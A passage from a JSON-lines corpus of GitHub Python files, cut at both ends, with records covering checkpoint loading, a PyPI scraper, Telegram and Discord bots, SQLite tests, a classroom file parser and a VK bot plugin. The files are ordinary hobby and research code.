x.requires_grad, list(model.module.parameters())+list(classifier.module.parameters())), lr=args.lr)\n \n # optional restart. \n args.start_epoch = 0\n if args.restart or args.eval_only:\n load_path = os.path.join(args.restart_path, args.eval_path)\n\n if os.path.isfile(load_path):\n checkpoint = torch.load(load_path)\n # state_dict = model.module.encoder.state_dict()\n # pretrained_dict = checkpoint[\"state_dict\"]\n # # print('====pretrain')\n # # for key in pretrained_dict:\n # # print(key)\n # # print('====model')\n # for key in state_dict:\n # # print(key)\n # # if \"online_network.\" + key in pretrained_dict:\n # if \"module.encoder.\" + key in pretrained_dict:\n # # and (not \"classifier\"in key) and (not \"conv8.0\"in key):\n # print('====load===='+key)\n # state_dict[key] = pretrained_dict[\"module.encoder.\" + key]\n # # state_dict[key] = pretrained_dict[\"online_network.\" + key]\n # # print(key)\n # else:\n # print('====no'+ key +'in pretrained model, ignore it.====' )\n # model.module.encoder.load_state_dict(state_dict, strict=True)\n # trans_model(model, checkpoint)\n args.start_epoch = checkpoint['epoch']\n model.load_state_dict(checkpoint['state_dict'])\n # classifier.load_state_dict(checkpoint['classifier_state_dict'])\n # optimizer.load_state_dict(checkpoint['optimizer'])\n logger.info('Loaded checkpoint at [epoch {}] from {}'.format(args.start_epoch, load_path))\n else:\n logger.info('No checkpoint found at [{}].\\nStart from beginning...\\n'.format(load_path))\n \n return model, optimizer, classifier\ndef load_model(weight_path, model):\n state_dict = model.state_dict()\n\n ckpt = torch.load(weight_path, map_location=\"cpu\")\n pretrained_dict = ckpt[\"state_dict\"]\n\n for key in state_dict:\n if \"online_network.\" + key in pretrained_dict:\n state_dict[key] = pretrained_dict[\"online_network.\"+key]\n print(key)\n # if \"online_netwrok.\"+key in pretrained_dict:\n # state_dict[key] = pretrained_dict[\"online_netwrok.\"+key]\n\n model.load_state_dict(state_dict, strict=True)\n return model\ndef trans_model(model, checkpoint):\n state_dict = model.module.encoder.state_dict()\n # model_\n pretrained_dict = checkpoint[\"state_dict\"]\n print('====pretrain')\n for key in pretrained_dict:\n print(key)\n print('====model')\n for key in state_dict:\n # print(key)\n # if \"online_network.\" + key in pretrained_dict:\n # if \"module.encoder.\" + key in pretrained_dict:\n # \"module.\" +\n if key in pretrained_dict:\n # and (not \"classifier\"in key) and (not \"conv8.0\"in key):\n print('====load===='+key)\n state_dict[key] = pretrained_dict[key]\n # state_dict[key] = pretrained_dict[\"online_network.\" + key]\n else:\n print('====no'+ key +'in pretrained model, ignore it.====' )\n model.module.encoder.load_state_dict(state_dict, strict=True)\n return model\n\ndef fetch_represent(logger, dataloader, model):\n representations = None\n labels = None\n model.eval()\n with torch.no_grad():\n for i, (cls, image) in enumerate(dataloader):\n image = image.cuda(non_blocking=True)\n _,feats = model(image.transpose(1, 2), get_feature=True)\n # B, C, N = feats.size()\n if i == 0:\n logger.info('Batch input size : {}'.format(list(image.shape)))\n representation = feats.data.cpu().numpy()\n label = np.array(cls)\n if representations is None:\n representations = representation\n labels = label\n else:\n representations = np.concatenate([representations, representation], 0)\n labels = np.concatenate([labels, label], 0)\n model.train()\n return representations, labels\n\ndef filter_MN10(represent, label):\n ModelNet10lbl = [1, 2, 8, 12, 14, 22, 23, 30, 33, 35]\n res_rep = []\n res_label = []\n for lbl in ModelNet10lbl:\n res_rep.append(represent[label==lbl])\n res_label.append(label[label==lbl])\n res_rep = np.concatenate(res_rep, 0)\n res_label = np.concatenate(res_label, 0)\n return res_rep, res_label\n\n# SVM evaluate\ndef evaluate(args, logger, eval_loader, test_loader, model):\n if args.noise > 0:\n logger.info(\"robustness test with std:{}\".format(args.noise))\n print(\"Fetch Train Data Representation\")\n train_represent, train_label = fetch_represent(logger, eval_loader, model)\n\n print(\"Fetch Val Data Representation\")\n test_represent, test_label = fetch_represent(logger, test_loader, model)\n\n if args.dataset == \"ModelNet10\":\n train_represent, train_label = filter_MN10(train_represent, train_label)\n test_represent, test_label = filter_MN10(test_represent, test_label)\n\n from sklearn.svm import LinearSVC\n clf = LinearSVC()\n clf.fit(train_represent, train_label)\n pred = clf.predict(test_represent)\n score = np.sum(test_label == pred) * 1. / pred.shape[0]\n logger.info(\"LinearSVC Val Accuracy:{}\".format(score) )\n from sklearn.svm import SVC\n svc = SVC(kernel=\"linear\")\n svc.fit(train_represent, train_label)\n\n score2 = svc.score(test_represent, test_label)\n logger.info(\"STRL SVC Val Accuracy:{}\".format(score2))\n model.train()\n return max(score, score2)","repo_name":"caoxin918/ULD-Net-3D-Unsupervised-Learning-by-Dense-Similarity-Learning-with-Equivariant-Crop","sub_path":"commons.py","file_name":"commons.py","file_ext":"py","file_size_in_byte":6521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9739996020","text":"#!/usr/bin/env python\n\nimport numpy\nimport matplotlib.pyplot as plt\nimport mdp\n\norder = 10\n\ndef one_pol_gen(x, order = 1):\n res = []\n for i in range(1, order+1):\n if x != 0:\n res.append(x**i)\n else:\n res.append(0)\n return res\n\ndef mul_pol_gen(xs, order = 1):\n res = []\n for x in xs:\n res.append(one_pol_gen(x, order))\n return res\n\ndata = numpy.random.normal(loc = 3, scale = 2, size = 100000)\n\nhist = numpy.histogram(data, bins = 100)\n\norig_xs = hist[1][:-1]\norig_ys = hist[0]\n\norig_pols = numpy.array(mul_pol_gen(orig_xs, order), dtype=\"float64\")\n\n\nlnode = mdp.nodes.LinearRegressionNode()\nlnode.train(orig_pols, orig_ys.reshape(orig_ys.size, 1))\nlnode.stop_training()\n\nxs = numpy.array(numpy.array(mul_pol_gen([float(x)/100 for x in xrange(-1000, 1500)], order)))\nys = lnode.execute(xs)\n\n\nplt.bar(orig_xs, orig_ys)\nplt.plot(xs[:,0], ys, color=\"red\")\n\nplt.show()\n","repo_name":"kosonya/smartspacedatan","sub_path":"lin_reg_test.py","file_name":"lin_reg_test.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20836934657","text":"\"\"\"Simple index parsing\"\"\"\n\nfrom functools import reduce\nfrom html.parser import HTMLParser\n\nimport argparse\nimport json\nimport requests\n\n# Issue with the cache for /simple/ not being purged often enough: https://github.com/pypa/warehouse/issues/7324\nINDEX_URL = \"https://pypi.org/simple/\"\nSAVE_FILE = \"pypi.json\"\n\n\nclass SimplePyPIHTMLParser(HTMLParser):\n def __init__(self):\n super().__init__()\n self.packages = []\n\n def handle_data(self, data):\n # Save data if it isn't a newline character.\n if len(data.strip()):\n self.packages.append(data)\n\n\ndef get_packages_array(offline):\n packages = []\n if offline:\n with open(SAVE_FILE, \"r\") as file:\n packages = json.load(file)\n else:\n r = requests.get(INDEX_URL)\n parser = SimplePyPIHTMLParser()\n parser.feed(r.text)\n parser.close()\n packages = parser.packages\n\n # Save into SAVE_FILE\n with open(SAVE_FILE, \"w+\") as file:\n json.dump(packages, file)\n\n return packages\n\n\ndef longest_name(packages_array):\n print(\"Get longest package name\")\n lengths = [len(p) for p in packages_array]\n index = lengths.index(max(lengths))\n return packages_array[index]\n\n\ndef average_name_length(packages_array):\n print(\"Get average package name length\")\n result = reduce(lambda acc, name: acc + len(name), packages_array, 0)\n return result / len(packages_array)\n\n\ndef package_name_contains(packages_array, substr):\n print(f\"Check how many packages contain the string '{substr}'\")\n result = 0\n for name in packages_array:\n if substr in name:\n result += 1\n return result\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Compute some stats from scraping PyPI's simple API.\"\n )\n parser.add_argument(\n \"-o\",\n \"--offline\",\n action=\"store_true\",\n help=\"Use saved data to compute the stats.\",\n )\n args = parser.parse_args()\n offline = args.offline\n\n if offline:\n print(\"🔌 Offline parsing\")\n\n packages = get_packages_array(offline)\n print(f\"There are {len(packages)} packages listed on PyPI\")\n\n longest_name = longest_name(packages)\n print(\n f\"The longest package name is {longest_name} ({len(longest_name)} characters).\"\n )\n\n avg_length = average_name_length(packages)\n print(f\"The average package name length is {avg_length:.2f} characters.\")\n\n strings = [\"python\", \"py\", \"test\"]\n for string in strings:\n contains_string = package_name_contains(packages, string)\n percentage = contains_string * 100 / len(packages)\n print(\n f\"There are {contains_string} packages ({percentage:.2f}%) \"\n f\"that contain the string '{string}'.\"\n )\n","repo_name":"kimadeline/pypi-simple-scraping","sub_path":"pypisimple/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"1164122531","text":"import os\nimport telebot\n# from get_image import make_image\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\ntoken = os.getenv('bot_token')\nbot = telebot.TeleBot(token)\n\n@bot.message_handler(commands=[\"start\", \"hello\"])\ndef start_hello(message):\n bot.reply_to(message, \"🫡\")\n\n@bot.message_handler(commands=[\"date\", \"sponge\"])\ndef bot_date(message):\n text = \"would you like to know the date?\\n yes / no\"\n sent_msg = bot.send_message(message.chat.id, text, parse_mode = \"Markdown\")\n bot.register_next_step_handler(sent_msg, what_do)\n\nformas_de_decir_que_si = [\"yes\", \"si\", \"sí\", \"yes!\", \"si!\", \"sí!\", \"¡si!\", \"¡sí!\", \"sabelo\", \"de una\", \"obvio\", \"mas bien\", \"claro\", \"más bien\", \"por favor\", \"you bet\", \"definitely\", \"obviously\", \"naturally\", \"of course\"]\nformas_de_decir_que_no = [\"no\", \"No\", \"no!\", \"¡no!\"]\n\ndef what_do(message):\n if message.text.lower() in formas_de_decir_que_si:\n bot.send_message(message.chat.id, \"on it\")\n elif message.text.lower() in formas_de_decir_que_no:\n bot.send_message(message.chat.id, \"ok 😔\")\n else: \n bot.send_message(message.chat.id, \"please do not take me beyond my preparation\")\n\n@bot.message_handler(func=lambda msg: True)\ndef other_messages(message):\n bot.reply_to(message, \"i do not understand the nuances of human language 🤖😞\\ntype /date so i can fulfill my purpose\")\n\nbot.infinity_polling()","repo_name":"budindepunk/spongebot_calendar","sub_path":"telegram_prueba.py","file_name":"telegram_prueba.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71710006507","text":"from dataclasses import dataclass\n\nimport pytest\nfrom blackfynn import Blackfynn\n\nfrom core.clients import PennsieveApiClient\n\n\n@dataclass\nclass Package:\n id: int\n node_id: str\n\n\n@pytest.fixture\ndef bf():\n return Blackfynn()\n\n\n@pytest.fixture\ndef dataset(bf):\n for dataset in bf.datasets():\n if len(dataset.items) > 0:\n return dataset\n\n raise Exception(\"No dataset in this organization has packages - aborting\")\n\n\n@pytest.fixture\ndef package(bf, dataset):\n \"\"\"\n Get the package id of any package in the dataset.\n\n This uses raw requests because the regular methods exposed by the Python\n client do not return integer ids.\n \"\"\"\n json = bf._api.datasets._get(f\"/{dataset.id}/packages?pageSize=1\")[\"packages\"][0][\n \"content\"\n ]\n return Package(id=json[\"id\"], node_id=json[\"nodeId\"])\n\n\n@pytest.fixture\ndef auth_header(bf):\n \"\"\"\n This will be a JWT when used by the service, but the tests need a session\n token to get through the gateway.\n \"\"\"\n return {\"Authorization\": f\"Bearer {bf._api.token}\"}\n\n\n@pytest.mark.integration\ndef test_get_packages(bf, dataset, package, auth_header, trace_id_headers):\n client = PennsieveApiClient(bf.settings.api_host)\n packages = client.get_packages(\n dataset.id, [package.id], headers=dict(**auth_header, **trace_id_headers)\n )\n\n assert packages[package.id][\"content\"][\"nodeId\"] == package.node_id\n assert packages[package.id][\"content\"][\"id\"] == package.id\n\n\n@pytest.mark.integration\ndef test_get_packages_ignores_deleted_packages(\n bf, dataset, package, auth_header, trace_id_headers\n):\n client = PennsieveApiClient(bf.settings.api_host)\n packages = client.get_packages(\n dataset.id,\n [\"N:package:does-not-exist\"],\n headers=dict(**auth_header, **trace_id_headers),\n )\n assert len(packages) == 0\n\n\n@pytest.mark.integration\ndef test_get_package_by_node_id(bf, dataset, package, auth_header, trace_id_headers):\n client = PennsieveApiClient(bf.settings.api_host)\n response = client.get_package_ids(\n dataset.id, package.node_id, headers=dict(**auth_header, **trace_id_headers)\n )\n\n assert response.id == package.id\n assert response.node_id == package.node_id\n\n\n@pytest.mark.integration\ndef test_get_datasets(bf, dataset, package, auth_header, trace_id_headers):\n client = PennsieveApiClient(bf.settings.api_host)\n datasets = client.get_datasets(headers=dict(**auth_header, **trace_id_headers))\n assert len(datasets) > 0\n\n dataset_ids = client.get_dataset_ids(\n headers=dict(**auth_header, **trace_id_headers)\n )\n assert sorted(d.int_id for d in datasets) == sorted(dataset_ids)\n","repo_name":"clohr/model-service","sub_path":"tests/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"13874146570","text":"#Standart library imports\nimport unittest\nimport sys\nimport os.path\nimport time\nimport os\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\n\n#Local imports\nfrom _setting import setting\nfrom simple_sqlite import SimpleSqlite\n\nclass testSqlite(unittest.TestCase):\n \"\"\"Class for unit-testing Sqllite class\n\n Attributes:\n sqllite (dict[str]) : Initialize class of Sqllite\n startTime (float) : Time of starting unit-tests\n\n \"\"\" \n @classmethod\n def setUpClass(cls):\n cls.setting = setting\n\n dbFile : str = setting['Sqllite']['TestDatabase']\n cls.sqllite = SimpleSqlite(dbfile = dbFile)\n\n @classmethod\n def tearDownClass(cls):\n del cls.sqllite\n\n def setUp(self):\n self.start_time : float = time.time()\n\n #@unittest.skip('Temporary not needed') \n def tearDown(self):\n\n end_time = time.time() - self.start_time\n print(\"%.3f\" % end_time)\n\n #@unittest.skip('Temporary not needed')\n def test01_create_database(self):\n self.sqllite.create_database()\n\n #@unittest.skip('Temporary not needed')\n def test02_open_database(self):\n self.sqllite.connect_to_db()\n\n #@unittest.skip('Temporary not needed')\n def test03_create_table_test(self):\n self.sqllite.connect_to_db()\n\n tablename = self.setting[\"Sqllite\"][\"TableTest\"]\n strSql = self.setting[\"Sqllite\"][\"SqlTableTest\"].format(tablename)\n tableName, namesFields, typeFields = self.sqllite.create_table(tablename=tablename, strSql=strSql)\n self.assertNotEqual(tableName, '')\n self.assertNotEqual(namesFields, '')\n self.assertNotEqual(typeFields, '')\n\n self.assertEqual(tableName, self.setting[\"Sqllite\"][\"TableTest\"])\n self.assertEqual(len(namesFields), 3)\n self.assertEqual(namesFields[0], \"lesson_number\")\n self.assertEqual(namesFields[1], \"lesson_name\")\n self.assertEqual(namesFields[2], \"lesson_info\")\n\n \n self.assertEqual(len(typeFields), 3)\n self.assertEqual(typeFields[0], \"text\")\n self.assertEqual(typeFields[1], \"text\")\n self.assertEqual(typeFields[2], \"text\")\n \n\n #@unittest.skip('Temporary not needed')\n def test04_insert_table_test(self):\n self.sqllite.connect_to_db()\n\n tablename = self.setting[\"Sqllite\"][\"TableTest\"]\n data = [{ 'lesson_number' : '1', \n 'lesson_name' : 'English Lesson',\n 'lesson_info' : 'There will be no lesson', \n }]\n self.sqllite.insert_table(tablename, data)\n\n #@unittest.skip('Temporary not needed')\n def test05_select_table_test(self):\n self.sqllite.connect_to_db()\n\n tablename = self.setting[\"Sqllite\"][\"TableTest\"]\n datas = self.sqllite.select_table(tablename)\n self.assertGreater(len(datas), 0, len(datas))\n\n for data in datas:\n self.assertEqual(data[0], '1')\n self.assertEqual(data[1], 'English Lesson')\n self.assertEqual(data[2], 'There will be no lesson')\n\n #@unittest.skip('Temporary not needed')\n def test06_check_sql_script_table_test(self):\n self.sqllite.connect_to_db()\n\n sql_script = self.setting[\"Sqllite\"][\"SqlScriptSelectFirstLesson\"]\n rows = self.sqllite.select_sql_script(sql_script=sql_script)\n self.assertGreater(len(rows), 0, len(rows))\n\n for data in rows:\n self.assertEqual(data[0], '1')\n self.assertEqual(data[1], 'English Lesson')\n self.assertEqual(data[2], 'There will be no lesson')\n\n #@unittest.skip('Temporary not needed')\n def test07_check_sql_script_execution_table_test(self):\n self.sqllite.connect_to_db()\n\n sql_script = self.setting[\"Sqllite\"][\"SqlScriptChangeLessonName\"]\n self.sqllite.execute_sql_script(sql_script=sql_script)\n\n tablename = self.setting[\"Sqllite\"][\"TableTest\"]\n datas = self.sqllite.select_table(tablename)\n self.assertGreater(len(datas), 0, len(datas))\n\n for data in datas:\n self.assertEqual(data[0], '1')\n self.assertEqual(data[1], 'Spanish lesson')\n self.assertEqual(data[2], 'There will be no lesson')\n\n #@unittest.skip('Temporary not needed')\n def test08_create_view_test(self):\n self.sqllite.connect_to_db()\n\n viewname = self.setting[\"Sqllite\"][\"ViewTest\"]\n str_sql = self.setting[\"Sqllite\"][\"SqlViewTest\"].format(viewname)\n tableName, namesFields, typeFields = self.sqllite.create_view(viewname, str_sql)\n self.assertEqual(tableName, viewname) \n\n self.assertEqual(len(namesFields), 3)\n self.assertEqual(namesFields[0], \"lesson_number\")\n self.assertEqual(namesFields[1], \"lesson_name\")\n self.assertEqual(namesFields[2], \"lesson_info\")\n\n self.assertEqual(len(typeFields), 3)\n self.assertEqual(typeFields[0], \"text\")\n self.assertEqual(typeFields[1], \"text\")\n self.assertEqual(typeFields[2], \"text\")\n\n #@unittest.skip\n def test10_open_view_test(self):\n self.sqllite.connect_to_db()\n\n viewname = self.setting[\"Sqllite\"][\"ViewTest\"]\n rows = self.sqllite.open_view(viewname=viewname)\n\n for data in rows:\n self.assertEqual(data[0], '1')\n self.assertEqual(data[1], 'Spanish lesson')\n self.assertEqual(data[2], 'There will be no lesson')\n\n #@unittest.skip('Temporary not needed')\n def test11_replace_database(self):\n full_name_database_src = self.setting[\"Sqllite\"][\"TestDatabase\"]\n full_name_database_dst = self.setting[\"Sqllite\"][\"TestDatabaseUpd\"]\n \n self.sqllite.replace_database(full_name_database_src=full_name_database_src, full_name_database_dst=full_name_database_dst)\n\nif __name__ == '__main__':\n unittest.main(verbosity=2, failfast=True, exit=False)","repo_name":"Svinokur/simple_sqlite","sub_path":"simple_sqlite/test/sqliteTest.py","file_name":"sqliteTest.py","file_ext":"py","file_size_in_byte":5931,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"74933474987","text":"\"\"\"Utility for network connections.\"\"\"\n\nimport json\nimport logging\nimport os\nimport time\nimport urllib\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom typing import Optional\n\nimport urllib3\n\n\ndef get(address: str, parameters: dict[str, str], cache_file: Path) -> Optional[bytes]:\n\n if cache_file.exists():\n with cache_file.open(\"rb\") as input_file:\n return input_file.read()\n\n pool: urllib3.PoolManager = urllib3.PoolManager()\n\n try:\n result = pool.request(\"GET\", address, parameters)\n except urllib3.exceptions.MaxRetryError:\n return None\n\n time.sleep(1)\n\n pool.clear()\n if result.data:\n with cache_file.open(\"wb+\") as output_file:\n output_file.write(result.data)\n return result.data\n\n return None\n\n\ndef get_data(address: str, parameters: dict[str, str], is_secure: bool = False, name: str = None) -> bytes:\n \"\"\"\n Construct Internet page URL and get its descriptor.\n\n :param address: first part of URL without \"http://\"\n :param parameters: URL parameters\n :param is_secure: https or http\n :param name: name to display in logs\n :return: connection descriptor\n \"\"\"\n url = \"http\" + (\"s\" if is_secure else \"\") + \"://\" + address\n if len(parameters) > 0:\n url += \"?\" + urllib.parse.urlencode(parameters)\n if not name:\n name = url\n logging.info(\"getting \" + name)\n pool_manager = urllib3.PoolManager()\n url = url.replace(\" \", \"_\")\n urllib3.disable_warnings()\n result = pool_manager.request(\"GET\", url)\n pool_manager.clear()\n time.sleep(2)\n return result.data\n\n\ndef get_content(address, parameters, cache_file_name, kind, is_secure, name=None, exceptions=None, update_cache=False):\n \"\"\"\n Read content from URL or from cached file.\n\n :param address: first part of URL without \"http://\"\n :param parameters: URL parameters\n :param cache_file_name: name of cache file\n :param kind: type of content: \"html\" or \"json\"\n :return: content if exist\n \"\"\"\n if exceptions and address in exceptions:\n return None\n if (\n os.path.isfile(cache_file_name)\n and datetime(1, 1, 1).fromtimestamp(os.stat(cache_file_name).st_mtime) > datetime.now() - timedelta(days=90)\n and not update_cache\n ):\n with open(cache_file_name) as cache_file:\n if kind == \"json\":\n try:\n return json.load(cache_file)\n except ValueError:\n return None\n if kind == \"html\":\n return cache_file.read()\n else:\n try:\n data = get_data(address, parameters, is_secure=is_secure, name=name)\n if kind == \"json\":\n try:\n obj = json.loads(data.decode(\"utf-8\"))\n with open(cache_file_name, \"w+\") as cached:\n cached.write(json.dumps(obj, indent=4))\n return obj\n except ValueError:\n logging.error(\"cannot get \" + address + \" \" + str(parameters))\n return None\n if kind == \"html\":\n with open(cache_file_name, \"w+\") as cached:\n cached.write(data)\n return data\n except Exception as e:\n logging.error(\"during getting JSON from \" + address + \" with parameters \" + str(parameters))\n print(e)\n if exceptions:\n exceptions.append(address)\n return None\n","repo_name":"enzet/metro","sub_path":"metro/core/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"5387161600","text":"COMPLEX_CLASSROOM_PATH = \"classroom_complex.txt\"\nSIMPLE_CLASSROOM_PATH = \"classroom_simple.txt\"\n\n\ndef parse_simple_classroom(file_path):\n \"\"\" Parse classroom file that is given in `file_path` parameter.\n Returns a list of dictionaries describing the students in the\n classroom, each student is describe with the dictionary: {\n 'name': ..., 'country': ..., 'grades': [...]}\"\"\"\n students = []\n student_info = []\n grades = []\n with open(file_path, \"r\") as file:\n data = file.read().split()\n for item in data:\n if item != \"###\" and not item.isdigit():\n student_info.append(item)\n if item.isdigit():\n grades.append(int(item))\n if len(grades) == 3:\n student = {}\n student['name'] = student_info[0]\n if len(student_info) > 2:\n student['country'] = student_info[1] + \" \" + student_info[2]\n else:\n student['country'] = student_info[1]\n student['grades'] = grades\n students.append(student)\n student_info = []\n grades = []\n return students\n\n\ndef parse_complex_classroom(file_path):\n \"\"\" Parse complex classroom file that is given in `file_path`\n parameter. Returns a list of dictionaries describing the\n students in the classroom, each student is describe with the\n dictionary: { 'name': ..., 'country': ..., 'grades': [...]\n }\"\"\"\n students = []\n student_info = []\n grades = []\n with open(file_path, \"r\") as file:\n data = file.read().split()\n for i, item in enumerate(data):\n if item != \"###\" and not item.isdigit():\n student_info.append(item)\n if item.isdigit():\n grades.append(int(item))\n if item == \"###\" and len(grades) > 0:\n student = {}\n student['name'] = student_info[0]\n if len(student_info) > 2:\n student['country'] = student_info[1] + \" \" + student_info[2]\n else:\n student['country'] = student_info[1]\n student['grades'] = grades\n students.append(student)\n student_info = []\n grades = []\n if i == len(data) - 1 and len(grades) > 0:\n student = {}\n student['name'] = student_info[0]\n if len(student_info) > 2:\n student['country'] = student_info[1] + \" \" + student_info[2]\n else:\n student['country'] = student_info[1]\n student['grades'] = grades\n students.append(student)\n return students\n\n\ndef student_avg(students_list, student_name):\n \"\"\"Searches for student's name in students list and calculates\n the student's average.\"\"\"\n student_names = []\n avg = 0\n for student_record in students_list:\n student_names.append(student_record['name'])\n if student_record['name'] == student_name:\n grades = student_record['grades']\n total = 0\n for grade in grades:\n total += grade\n avg = total / len(grades)\n if student_name not in student_names:\n return None\n return avg\n\n\ndef main():\n \"\"\"Requests for student's name, generates a list of dictionaries\n containing student information and returns the student's average.\"\"\"\n student_name = input(\"Enter the student's name: \")\n students_list = parse_simple_classroom(SIMPLE_CLASSROOM_PATH)\n avg = student_avg(students_list, student_name)\n if avg is None:\n print(\"Sorry. The student does not exist in the system.\")\n else:\n print(f\"Average: {avg}\")\n print(parse_complex_classroom(COMPLEX_CLASSROOM_PATH))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"krmaxwell88/se103-3-parsing-data","sub_path":"parse_classroom.py","file_name":"parse_classroom.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39438949085","text":"\"\"\"Tests for `pypendency` package.\"\"\"\nimport uuid\n\nimport pytest\n\nimport pypendency.models.graph as pmg\nfrom pypendency.models.generics import BaseNode, Relation, Direction\n\n\ndef test_graph_context():\n g = pmg.Graph(str(uuid.uuid4()))\n with g:\n node = BaseNode(\"TestNode\",\n slug=\"t1\",\n type=\"Service\",\n id=str(uuid.uuid4()),\n description=\"a Testnode\")\n pytest.assume(node.graph)\n pytest.assume(node == g.nodes.pop())\n\n\ndef test_relation():\n g = pmg.Graph(str(uuid.uuid4()))\n with g:\n node1 = BaseNode(\"TestNode1\",\n slug=\"t1\",\n type=\"Service\",\n id=str(uuid.uuid4()),\n description=\"a Testnode\")\n\n node2 = BaseNode(\"TestNode2\",\n slug=\"t2\",\n type=\"Service\",\n id=str(uuid.uuid4()),\n description=\"a Testnode\")\n node1.link_to(node2, \"link\")\n expect = Relation(node1, node2, \"link\", direction=Direction.Link)\n actual = node1.relations.pop()\n assert expect == actual\n","repo_name":"Taschenbergerm/pypendency","sub_path":"test/pypendency/test_graph.py","file_name":"test_graph.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"433731197","text":"import os\nimport discord\nimport re\nimport random\nfrom dotenv import load_dotenv\nfrom myModel import *\n\nload_dotenv()\n#NOTE: saved token as environment variable, update token in .env file\nTOKEN = os.getenv('DISCORD_TOKEN')\nclient = discord.Client()\n\ntags = []\nquestions = [] # [ [where is the syllabus, is the syllbus posted, syllubus], [when is A3 due, what is the due date of A3] ]\nresponses = [] # [*link to syllabus, september 29th]\ndata_storage = [tags, questions, responses]\n\nMODEL = myModel()\n\n@client.event\nasync def on_ready():\n print(f'{client.user.name} has connected to Discord!')\n\n@client.event\nasync def on_message(message):\n #to prevent recursive case\n if message.author == client.user:\n return\n\n if re.search(\"Tag##.+ ##Question##.+##Response##.+\", message.content.strip()) != None:\n message_segments = re.split(\"##\", message.content)\n current = -1\n for segment in message_segments:\n if segment.strip() == \"Tag\":\n current = 0\n elif segment.strip() == \"Question\":\n current = 1\n data_storage[current].append([])\n elif segment.strip() == \"Response\":\n current = 2\n else:\n if current == 1:\n data_storage[current][-1].append(segment.strip())\n else:\n data_storage[current].append(segment.strip())\n MODEL.make_training_set(data_storage)\n MODEL.train_model()\n await message.channel.send(\"FAQ Added\")\n else:\n if MODEL.model != None:\n probs = MODEL.predict_class(message.content)\n tag = probs[0]['tag']\n prob = probs[0]['probability']\n for i in range(len(data_storage[0])):\n if(data_storage[0][i] == tag):\n if (float(prob) > 0.995):\n response = data_storage[2][i]\n await message.channel.send(response)\n break\n \n\nclient.run(TOKEN)\n","repo_name":"MitalTopiwala/FAQBot","sub_path":"FAQBot.py","file_name":"FAQBot.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5143856475","text":"# -*- coding: utf-8 -*-\n# Author: Vladimir Pichugin \n\nfrom handler.base_plugin import CommandPlugin\nfrom utils import get_role_name, has_perms, get_username, parse_user_id, getDatesDiff, get_user_sex, plural_form\n\nimport datetime, json, time\n\nclass ProfilePlugin(CommandPlugin):\n __slots__ = (\"description\", )\n\n def __init__(self, *commands, prefixes=None, strict=False, required_role=None, ):\n self.description = [\"Профиль участника\"]\n \n super().__init__(*commands, prefixes=prefixes, strict=strict, required_role=required_role)\n \n async def process_message(self, msg):\n if not msg.is_chat or not msg.user_id:\n return await msg.answer(\"😽 Команду можно использовать только в беседе.\")\n \n m = None\n if msg.meta[\"payload_obj\"]:\n if \"peer_id\" in msg.meta[\"payload_obj\"]:\n m = msg.meta[\"payload_obj\"][\"peer_id\"]\n \n if not m:\n m = msg.from_id\n puid = await parse_user_id(msg)\n if puid:\n m = puid\n \n has_username = False\n can_change_username = True\n muted = False\n banned = False\n activity = \"\"\n duels = \"\"\n rewards = \"Награды отсутствуют\"\n message_marriage = \"Не состоит в браке\"\n username = None\n role = \"—\"\n sex = 2\n mutes = 0\n bans = 0\n \n username = await get_username(msg, m)\n role = await get_role_name(msg, m)\n #sex = await get_user_sex(m, msg)\n sex = \"а\" if sex == 1 else \"\"\n \n if \"data_chat\" in msg.meta:\n message_stats = \"\"\n if msg.meta[\"is_supporter\"]:\n statistics = sorted(\n msg.meta[\"data_chat\"][\"chat_statistics\"][\"users\"].items(),\n key=lambda item: (-item[1][\"messages\"], -item[1][\"last_message\"])\n )\n \n statistics = list(filter(lambda x: (int(x[0]) > 0), statistics))\n \n if \"chat_info\" in msg.meta[\"data_chat\"]:\n _members = []\n for _member in msg.meta[\"data_chat\"][\"chat_info\"].get(\"items\", []):\n _members.append(int(_member[\"member_id\"]))\n \n _statistics = []\n for client_id, member in statistics:\n if int(client_id) in _members:\n _statistics.append((client_id, member))\n \n statistics = list(_statistics)\n \n for chat_top, pack in enumerate(statistics):\n client_id, u = pack\n client_id = int(client_id)\n if client_id == int(m):\n if chat_top == 0: message_stats += \"🥇\"\n if chat_top == 1: message_stats += \"🥈\"\n if chat_top == 2: message_stats += \"🥉\"\n message_stats += f\"Топ #{chat_top+1} по активности.\\n\\n\" \n \n \n if \"chat_statistics\" in msg.meta[\"data_chat\"]:\n if \"users\" in msg.meta[\"data_chat\"][\"chat_statistics\"]:\n if str(m) in msg.meta[\"data_chat\"][\"chat_statistics\"][\"users\"]:\n m_stats = msg.meta[\"data_chat\"][\"chat_statistics\"][\"users\"][str(m)]\n \n if \"first_message\" in m_stats and \"last_message\" in m_stats:\n messages_count = m_stats[\"messages\"]\n messages_count = f\"{messages_count:,} {['сообщение', 'сообщения', 'сообщений'][2 if (4 < messages_count % 100 < 20) else (2, 